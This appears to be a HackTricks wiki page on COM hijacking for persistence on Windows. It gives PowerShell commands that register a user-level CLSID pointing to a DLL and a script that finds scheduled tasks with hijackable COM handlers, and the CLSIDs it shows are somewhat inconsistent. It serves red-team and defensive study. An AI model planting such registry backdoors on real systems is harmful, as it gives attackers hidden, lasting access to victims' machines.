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106 lines
5.3 KiB
Markdown
106 lines
5.3 KiB
Markdown
# COM Hijacking
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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### Searching not existent COM components
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As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistent mechanisms**. Using `procmon` it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters:
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* **RegOpenKey** operations.
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* where the _Result_ is **NAME NOT FOUND**.
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* and the _Path_ ends with **InprocServer32**.
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Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ 
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```bash
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New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
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New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
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New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
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```
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### Hijackable Task Scheduler COM components
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Windows Tasks actually use Custom Triggers to call COM objects. And because they're executed via the Task Scheduler, it's easier to predict when they're going to be triggered.
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<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
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$Tasks = Get-ScheduledTask
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foreach ($Task in $Tasks)
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{
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if ($Task.Actions.ClassId -ne $null)
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{
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if ($Task.Triggers.Enabled -eq $true)
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{
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if ($Task.Principal.GroupId -eq "Users")
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{
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Write-Host "Task Name: " $Task.TaskName
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Write-Host "Task Path: " $Task.TaskPath
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Write-Host "CLSID: " $Task.Actions.ClassId
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Write-Host
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}
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}
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}
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}
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# Sample Output:
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<strong># Task Name: Example
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</strong># Task Path: \Microsoft\Windows\Example\
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# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
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# [more like the previous one...]</code></pre>
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Checking the output you can select one that is going to be executed **every time a user logs in** for example.
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Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.
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```bash
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# Exists in HKCR\CLSID\
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Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
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Name Property
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---- --------
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InprocServer32 (default) : C:\Windows\system32\some.dll
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ThreadingModel : Both
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# Exists in HKLM
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Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
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Name Property
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---- --------
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{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
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# Doesn't exist in HKCU
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PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
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Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
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```
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Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
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|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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